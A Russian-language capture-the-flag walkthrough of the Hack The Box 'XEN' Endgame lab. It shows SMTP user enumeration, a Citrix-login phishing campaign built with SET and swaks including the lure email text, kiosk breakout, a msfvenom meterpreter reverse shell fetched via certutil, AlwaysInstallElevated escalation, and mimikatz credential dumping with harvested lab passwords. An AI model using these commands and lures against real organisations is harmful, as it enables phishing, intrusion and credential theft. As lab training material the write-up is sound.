# HTB Endgames XEN Это корпоративная инфраструктура, в которой необходимо поледовательно перемещаться и получать креды. Нужно получить 6 флагов. # Часть первая **Проникновение во внутреннюю сеть через службы удаленного доступа** Подключаемся к впн endgames ## Пробиваемся во внутрь через сервисы удаленного доступа - разведка Сканируем сеть * sudo nmap -Pn -n -vv -T4 -sS -sV --version-all -sC -O -p- --open -oA full_scan_xen_intro 10.13.38.12 Открыты порты ![](https://i.imgur.com/oahVSRc.png) изучаем что есть на машине на 80 порту ![](https://i.imgur.com/TZakdVX.png) Происходит редирект на humongousretail (это имя не резолвится) на порту 443 - https Добавляем имя в * nano /etc/hosts ![](https://i.imgur.com/LtBExEB.png) Теперь ссылка открывается https://humongousretail.com/ ![](https://i.imgur.com/oXNtajE.png) Изучаем сайт ![](https://i.imgur.com/fjMOXQV.png) Видим адресс эл.почты **Запускаем gobuster, whatweb** * whatweb -a 3 --log-brief=humongousretail.com.log https://humongousretail.com ![](https://i.imgur.com/aNqd5iS.png) * gobuster dir -u https://humongousretail.com -k -t 50 -b 404,403 -x txt,html,asp,aspx,bak,old -o gd1.txt -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k ошибки сертификата сервера не валидного - принимались ![](https://i.imgur.com/ZXbGcUR.png) смотрим что набруталось ![](https://i.imgur.com/41enadw.png) ВИдим remote переходим по ссылке и видим citrix https://humongousretail.com/remote/ ![](https://i.imgur.com/aYRltEC.png) У нас есть почта jointheteam и домен humongousretail.com Мы можем подобрать почты Поднимаем **telnet** *telnet humongousretail.com 25 25 порт - почтовый Мы можем перебирать почты и с помощью RCPT TO (resipent to) можем тестировать почты * ehlo test * RCPT TO:test@humongousretail.com * MAIL FROM:test@humongousretail.com (указываем отправителя) * RCPT TO:jointheteam@humongousretail.com (указываем получателя) 250 OK ![](https://i.imgur.com/e2ucfmC.png) Перловый скрипт **smtp-user-enum** В автоматическом режиме перебирает почты Установим * sudo apt install smtp-user-enum Словарик почтовых ящиков у метасплойта * less /usr/share/metasploit-framework/data/wordlists/namelist.txt Так же есть Модуль для метасплойта (автоматический перебор) ![](https://i.imgur.com/lVujKa3.png) * smtp-user-enum -M RCPT -U /usr/share/metasploit-framework/data/wordlists/namelist.txt -D humongousretail.com -t humongousretail.com -m 50 -M используемый метод -D почтвый домен -t почтовый сервис -m количество потоков ![](https://i.imgur.com/4kGXeTo.png) перебрал почты **Защита - в настройках почтового сервиса - не давать ответ существует\не существует** Записали в файл найденные почты ![](https://i.imgur.com/VamBaOE.png) Теперь отправляем почту этим юзерам от it службы (чтобы они ввели учетные данные на странице цитрикса) Фишинговая станица **Фишинговая атака** Клонируем веб приложение ФОрмируем фишинговое письмо, с сылкой на фишинговый сайт и ждать учетные данные Добавим расширение для мозилы singlefile ![](https://i.imgur.com/oFyQR8l.png) Cохранили страничку одним файлом ![](https://i.imgur.com/nXQiOfl.png) Переименовали и скопировали в папку сайт ![](https://i.imgur.com/PnbpzEo.png) В этой странице нет submit Поднимаем сервер и эту страницу Используем **SET** Выбранные опции 1) Social-Engineering Attacks 2) Website Attack Vectors 3) Credential Harvester Attack Method 3) Custom Import 10.10.14.2 ввели наш айпи /root/site указали путь до клонированного сайта 1. Copy just the index.html https://humongousretail.com/remote/auth/login.aspx путь сайта который клонировали Но он не получает данные при вводе на фишинговом сайте Потому что кнопка Log On не отрабатывает. Добавим ее в код Скопировали на хост файл index.html ![](https://i.imgur.com/sltDife.png) тег а заменяем на button с типом submit ![](https://i.imgur.com/nscKmLU.png) ## Фишинг Воспользуемся инструментом для фишинга **Setoolkit** установка * sudo apt install set запуск * sudo setoolkit Настройки см выше ![](https://i.imgur.com/I1TiWUg.png) Проверка : ввели в поисковой строке 10.10.14.7 , вбили креды и поймали их на кали ![](https://i.imgur.com/ghalSS9.png) Напишем фишинговое письмо * nano body.txt ``` Hello, We just performed manitenance on our servers. Please verify if you can still access the login: http://10.10.14.7 Regards, IT Team ``` Для отправки писем воспользуемся утилитой **swaks** * sudo apt install swaks Рассылаем * swaks --to legal@humongousretail.com --from it@humongousretail.com --header “Subject: Servers_manitenance” --body body.txt --server humongousretail.com --port 25 ![](https://i.imgur.com/P6rceZH.png) Но ответа мы так и не получили Попробуем отправить письма через скрипт **send.sh** Берет утилиту swaks иттерируется по почтовым адресам и отправляет на почту каждому из адресатов письмо с текстом бади. ![](https://i.imgur.com/mm0ZRLt.png) подправим письмо, укажем путь remote/auth/login.aspx (потому что скрипт тригерится на него) Скрипт send.sh ![](https://i.imgur.com/cvItauc.png) Поднимаем setoolkit Настраиваем ( см выше команды) Переименовали файл mail.txt в emails.txt чтобы отработал скрипт ![](https://i.imgur.com/lnZLn3J.png) **Получили креды** от 3 пользователей ![](https://i.imgur.com/pGEuxeX.png) ![](https://i.imgur.com/gi8MUae.png) ``` user=jmendes password=VivaBARC3L0N@!!! user=pmorgan password=Summer1Summer! user=awardel password=@M3m3ntoM0ri@ ``` ## Получаем первоначальный доступ скачиваем клиент цитрикс на кали icaclientWeb_13.10.0.20_amd64.deb Устанавлиеваем * dpkg -i icaclientWeb_13.10.0.20_amd64.deb Скачиваем библиотеку, так как без нее ругается * wget http://ftp.de.debian.org/debian/pool/main/libi/libidn/libidn11_1.33-3_amd64.deb ![](https://i.imgur.com/TQcbxD9.png) Connect on Citrix ![](https://i.imgur.com/9QPdcj5.png) ![](https://i.imgur.com/xTLYiaF.png) Открыл цитрикс ![](https://i.imgur.com/uX2DIKc.png) На рабочем столе находится флаг ![](https://i.imgur.com/VfwhqGF.png) Получили доступ к машине и используем ее как плацдарм для атаки. Необходимо уметь запускать код на ней вводим cmd ,но стоит запрет ![](https://i.imgur.com/3dpncw6.png) Через введение прямого пути - тоже не дает ![](https://i.imgur.com/QmM4uAl.png) **Нас ограничили на уровне интерфейса проводника explorer.exe - shell** Пробуем создать файлик текстовый / скрипт и в настройках включим отображение расширений ![](https://i.imgur.com/zlgwtww.png) ![](https://i.imgur.com/GxihDKt.png) Создаем скрипт на powershell ![](https://i.imgur.com/XMycRUw.png) запускаем edit этого файла и оттуда запускаем powershell ![](https://i.imgur.com/E4EjjXL.png) * taskmgr - диспетчер задач Так же мы можем создать **батник** test.bat , в котором через блокнот мы пропишем cmd.exe И получаем доступ к командной строке ![](https://i.imgur.com/unvnAPQ.png) **Цель сделать так чтобы порождающмим процессом был не explorer.exe а другой процесс** Далее через С2 на пробитой машине можем туннелироваться дальше ( то есть открывать доп канал связи) В качестве С2 будем использовать **метерпретер** ## Повышаем привилегии (этот этап идет дальше по методологии) КНопкой Виндовс - мы открываем консоль и свернем открытую сессию цитрикса Перейдем в кали генерить полезную нагрузку, которая будет коннектится на мой порт 8080 * msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.10.14.7 lport=8080 -f exe -o test.exe ![](https://i.imgur.com/KotwbzU.png) Далее надо перенести полезную нагрузку на атакуемую машину. Все способы по трансферу файлов https://github.com/swisskyrepo/PayloadsAllTheThings Для виндовс https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Download%20and%20Execute.md Выберем способ * certutil -urlcache -split -f http://10.10.14.7/test.exe Скачали тест.ехе ![](https://i.imgur.com/JxMDT81.png) Поднимаем сервер * python3 -m http.server 80 ![](https://i.imgur.com/sq8FwC7.png) Поднимаем листенер ![](https://i.imgur.com/oR5fiUv.png) Запустили test.exe на атакуемой машине и получили сессию ![](https://i.imgur.com/GcBiu9A.png) ![](https://i.imgur.com/GbX17Wq.png) Свернем ее в бэкграунд * background Повышаем привилегии, воспользуемся **пост модулем suggester** ![](https://i.imgur.com/CBzMsiI.png) local exploit suggester - делает разные проверки, мисконфиги, пробует ядерные эксплойты для винды, работает для линукс и виндовс (похож на вин пис, но в метерпретере) Указываем сессию и он начинает собирать инфу ![](https://i.imgur.com/LYiGLQv.png) Нашел различные эксплойты ![](https://i.imgur.com/YvJqNhV.png) Воспользуемся эксплойтом * use exploit/windows/local/always_install_elevated Существуют некие Group policy(ключик в реестре always_install_elevated), благодаря которому обычным пользователям разрешается запускать **msi файлы с правами системы** , данный эксплоит именно эту возможность и использует для повышения привелегий(по факту он генерит msi файл с нужными ключами, закидывает его на таргет и запускает его) Генерим свой msi файл, закинем на машину Задаем полезную нагрузку * set payload windows/x64/meterpreter/reverse_tcp * set lhost tun0 ![](https://i.imgur.com/gzZhC0s.png) * set session 1 * run Сгенерил полезную нагрузку с расширением msi, скопировал в папку и запускает Uploading the MSI to C:\Users\jmendes\AppData\Local\Temp\XcaPqZarlIjGt.msi ![](https://i.imgur.com/jI8z2AJ.png) Сессии прилетели, но почему то не видим их. ![](https://i.imgur.com/ULSCmPa.png) Мы система ![](https://i.imgur.com/2XuEtBe.png) Далее **Дампим хэши локальных учетных записей из базы SAM** (sam хранится ветка реестра, в которой хранятся зашифрованные учетные данные) ![](https://i.imgur.com/EeYDIn4.png) * load kiwi * creds_all Показывает из памяти lsas данные юзеров, кто выполнил вход в систему ![](https://i.imgur.com/cqiTGL3.png) Но мы получили ощибку `[-] Error running command creds_all: ArgumentError invalid byte sequence in UTF-8` В таком случае запускаем киви через mimikatz * load mimikatz * kiwi_cmd 'sekurlsa::logonpasswords' ![](https://i.imgur.com/AhR8jUO.png) В открытом виде получаем креды Перешли в папку desktop нашли флаг админа ![](https://i.imgur.com/mi1qV51.png) Здесь мы система, Надампили учетные данные, эти учетные даные можем переиспользовать на другие машины, можем атаковать домен.